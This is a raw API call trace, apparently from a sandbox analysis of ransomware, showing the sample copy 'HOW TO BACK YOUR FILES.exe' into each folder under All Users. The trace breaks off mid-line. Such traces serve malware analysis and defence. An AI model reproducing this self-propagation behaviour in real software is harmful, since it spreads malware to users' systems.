1 [0035.721] ReleaseMutex (hMutex=0xec) returned 1 [0035.721] CloseHandle (hObject=0xec) returned 1 [0035.721] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\All Users" | out: lpString1="C:\\Documents and Settings\\All Users") returned="C:\\Documents and Settings\\All Users" [0035.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517028 | out: hHeap=0x4f0000) returned 1 [0035.721] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x508fd8 | out: hHeap=0x4f0000) returned 1 [0035.722] lstrlenW (lpString="C:\\Documents and Settings\\All Users") returned 35 [0035.722] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\F582EC8A2503426FD6C8B517F8ED7EDC") returned 0xec [0035.722] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0035.722] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\All Users" | out: lpString1="C:\\Documents and Settings\\All Users") returned="C:\\Documents and Settings\\All Users" [0035.722] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0035.722] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.722] CreateFileW (lpFileName="C:\\Documents and Settings\\All Users\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0035.722] GetLastError () returned 0x0 [0035.722] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0035.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x52c9f0 [0035.722] ReadFile (in: hFile=0xf4, lpBuffer=0x52c9f0, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x52c9f0*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0035.723] CloseHandle (hObject=0xf4) returned 1 [0035.723] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c9f0 | out: hHeap=0x4f0000) returned 1 [0035.723] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0035.723] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\All Users\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb9e9c2a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0035.723] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.723] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.724] lstrcpyW (in: lpString1=0x241e890, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe" [0035.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x508fd8 [0035.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x54) returned 0x528530 [0035.724] lstrcatW (in: lpString1="Adobe", lpString2="\\" | out: lpString1="Adobe\\") returned="Adobe\\" [0035.724] lstrcatW (in: lpString1="Adobe\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Adobe\\HOW TO BACK YOUR FILES.exe") returned="Adobe\\HOW TO BACK YOUR FILES.exe" [0035.724] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Adobe\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\adobe\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.724] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0035.724] lstrcmpiW (lpString1="Application Data", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.724] lstrcmpiW (lpString1="Application Data", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.724] lstrcpyW (in: lpString1=0x241e890, lpString2="Application Data" | out: lpString1="Application Data") returned="Application Data" [0035.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c608 [0035.724] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52c9f0 [0035.724] lstrcatW (in: lpString1="Application Data", lpString2="\\" | out: lpString1="Application Data\\") returned="Application Data\\" [0035.724] lstrcatW (in: lpString1="Application Data\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Application Data\\HOW TO BACK YOUR FILES.exe") returned="Application Data\\HOW TO BACK YOUR FILES.exe" [0035.725] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Application Data\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\application data\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.725] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0035.725] lstrcmpiW (lpString1="Desktop", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.725] lstrcmpiW (lpString1="Desktop", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.725] lstrcpyW (in: lpString1=0x241e890, lpString2="Desktop" | out: lpString1="Desktop") returned="Desktop" [0035.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c620 [0035.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x528590 [0035.725] lstrcatW (in: lpString1="Desktop", lpString2="\\" | out: lpString1="Desktop\\") returned="Desktop\\" [0035.725] lstrcatW (in: lpString1="Desktop\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Desktop\\HOW TO BACK YOUR FILES.exe") returned="Desktop\\HOW TO BACK YOUR FILES.exe" [0035.725] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Desktop\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\desktop\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.726] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0035.726] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.726] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.726] lstrcpyW (in: lpString1=0x241e890, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0035.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c638 [0035.726] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51af88 [0035.726] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0035.726] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0035.726] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\documents\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.726] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0035.726] lstrcmpiW (lpString1="Favorites", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.727] lstrcmpiW (lpString1="Favorites", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.727] lstrcpyW (in: lpString1=0x241e890, lpString2="Favorites" | out: lpString1="Favorites") returned="Favorites" [0035.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c650 [0035.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51b190 [0035.727] lstrcatW (in: lpString1="Favorites", lpString2="\\" | out: lpString1="Favorites\\") returned="Favorites\\" [0035.727] lstrcatW (in: lpString1="Favorites\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Favorites\\HOW TO BACK YOUR FILES.exe") returned="Favorites\\HOW TO BACK YOUR FILES.exe" [0035.727] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Favorites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\favorites\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.727] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb9e9c2a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb9e9c2a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0035.727] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0035.727] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0035.727] lstrcmpiW (lpString1="Microsoft", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.727] lstrcmpiW (lpString1="Microsoft", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.727] lstrcpyW (in: lpString1=0x241e890, lpString2="Microsoft" | out: lpString1="Microsoft") returned="Microsoft" [0035.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c668 [0035.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51b1f8 [0035.727] lstrcatW (in: lpString1="Microsoft", lpString2="\\" | out: lpString1="Microsoft\\") returned="Microsoft\\" [0035.727] lstrcatW (in: lpString1="Microsoft\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft\\HOW TO BACK YOUR FILES.exe") returned="Microsoft\\HOW TO BACK YOUR FILES.exe" [0035.727] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.728] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xbc608f00, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc608f00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0035.728] lstrcmpiW (lpString1="Microsoft Help", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.728] lstrcmpiW (lpString1="Microsoft Help", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.728] lstrcpyW (in: lpString1=0x241e890, lpString2="Microsoft Help" | out: lpString1="Microsoft Help") returned="Microsoft Help" [0035.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c680 [0035.728] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x66) returned 0x50dee8 [0035.728] lstrcatW (in: lpString1="Microsoft Help", lpString2="\\" | out: lpString1="Microsoft Help\\") returned="Microsoft Help\\" [0035.728] lstrcatW (in: lpString1="Microsoft Help\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Microsoft Help\\HOW TO BACK YOUR FILES.exe") returned="Microsoft Help\\HOW TO BACK YOUR FILES.exe" [0035.728] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Microsoft Help\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\microsoft help\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.729] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0035.729] lstrcmpiW (lpString1="Mozilla", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.729] lstrcmpiW (lpString1="Mozilla", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.729] lstrcpyW (in: lpString1=0x241e890, lpString2="Mozilla" | out: lpString1="Mozilla") returned="Mozilla" [0035.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c698 [0035.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x5285f0 [0035.729] lstrcatW (in: lpString1="Mozilla", lpString2="\\" | out: lpString1="Mozilla\\") returned="Mozilla\\" [0035.729] lstrcatW (in: lpString1="Mozilla\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Mozilla\\HOW TO BACK YOUR FILES.exe") returned="Mozilla\\HOW TO BACK YOUR FILES.exe" [0035.729] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Mozilla\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\mozilla\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.729] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0035.729] lstrcmpiW (lpString1="Oracle", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.729] lstrcmpiW (lpString1="Oracle", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.729] lstrcpyW (in: lpString1=0x241e890, lpString2="Oracle" | out: lpString1="Oracle") returned="Oracle" [0035.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c6b0 [0035.729] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x528650 [0035.729] lstrcatW (in: lpString1="Oracle", lpString2="\\" | out: lpString1="Oracle\\") returned="Oracle\\" [0035.729] lstrcatW (in: lpString1="Oracle\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Oracle\\HOW TO BACK YOUR FILES.exe") returned="Oracle\\HOW TO BACK YOUR FILES.exe" [0035.729] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Oracle\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\oracle\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.730] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xbc62f060, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc62f060, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Package Cache", cAlternateFileName="PACKAG~1")) returned 1 [0035.730] lstrcmpiW (lpString1="Package Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.730] lstrcmpiW (lpString1="Package Cache", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.730] lstrcpyW (in: lpString1=0x241e890, lpString2="Package Cache" | out: lpString1="Package Cache") returned="Package Cache" [0035.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c6c8 [0035.730] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x52ca68 [0035.730] lstrcatW (in: lpString1="Package Cache", lpString2="\\" | out: lpString1="Package Cache\\") returned="Package Cache\\" [0035.730] lstrcatW (in: lpString1="Package Cache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Package Cache\\HOW TO BACK YOUR FILES.exe") returned="Package Cache\\HOW TO BACK YOUR FILES.exe" [0035.730] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.731] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0035.731] lstrcmpiW (lpString1="Start Menu", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.731] lstrcmpiW (lpString1="Start Menu", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.731] lstrcpyW (in: lpString1=0x241e890, lpString2="Start Menu" | out: lpString1="Start Menu") returned="Start Menu" [0035.731] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c6e0 [0035.731] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5e) returned 0x51b260 [0035.731] lstrcatW (in: lpString1="Start Menu", lpString2="\\" | out: lpString1="Start Menu\\") returned="Start Menu\\" [0035.731] lstrcatW (in: lpString1="Start Menu\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Start Menu\\HOW TO BACK YOUR FILES.exe") returned="Start Menu\\HOW TO BACK YOUR FILES.exe" [0035.731] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.731] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xbc6551c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc6551c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0035.731] lstrcmpiW (lpString1="Sun", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.731] lstrcmpiW (lpString1="Sun", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.731] lstrcpyW (in: lpString1=0x241e890, lpString2="Sun" | out: lpString1="Sun") returned="Sun" [0035.731] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c6f8 [0035.731] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x50) returned 0x515fa8 [0035.731] lstrcatW (in: lpString1="Sun", lpString2="\\" | out: lpString1="Sun\\") returned="Sun\\" [0035.732] lstrcatW (in: lpString1="Sun\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Sun\\HOW TO BACK YOUR FILES.exe") returned="Sun\\HOW TO BACK YOUR FILES.exe" [0035.732] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Sun\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\sun\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.732] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0035.732] lstrcmpiW (lpString1="Templates", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0035.732] lstrcmpiW (lpString1="Templates", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0035.732] lstrcpyW (in: lpString1=0x241e890, lpString2="Templates" | out: lpString1="Templates") returned="Templates" [0035.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c710 [0035.732] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51b2c8 [0035.732] lstrcatW (in: lpString1="Templates", lpString2="\\" | out: lpString1="Templates\\") returned="Templates\\" [0035.732] lstrcatW (in: lpString1="Templates\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Templates\\HOW TO BACK YOUR FILES.exe") returned="Templates\\HOW TO BACK YOUR FILES.exe" [0035.732] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\All Users\\Templates\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\all users\\templates\\how to back your files.exe"), bFailIfExists=1) returned 0 [0035.733] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0 [0035.733] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0035.733] ReleaseMutex (hMutex=0xec) returned 1 [0035.733] CloseHandle (hObject=0xec) returned 1 [0035.733] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default" | out: lpString1="C:\\Documents and Settings\\Default") returned="C:\\Documents and Settings\\Default" [0035.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x517118 | out: hHeap=0x4f0000) returned 1 [0035.733] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c260 | out: hHeap=0x4f0000) returned 1 [0035.733] lstrlenW (lpString="C:\\Documents and Settings\\Default") returned 33 [0035.733] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\28042D0B97FBA246F06C1D695785A7A3") returned 0xec [0035.733] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0035.733] lstrcatW (in: lpString1="", lpString2="C:\\Documents and 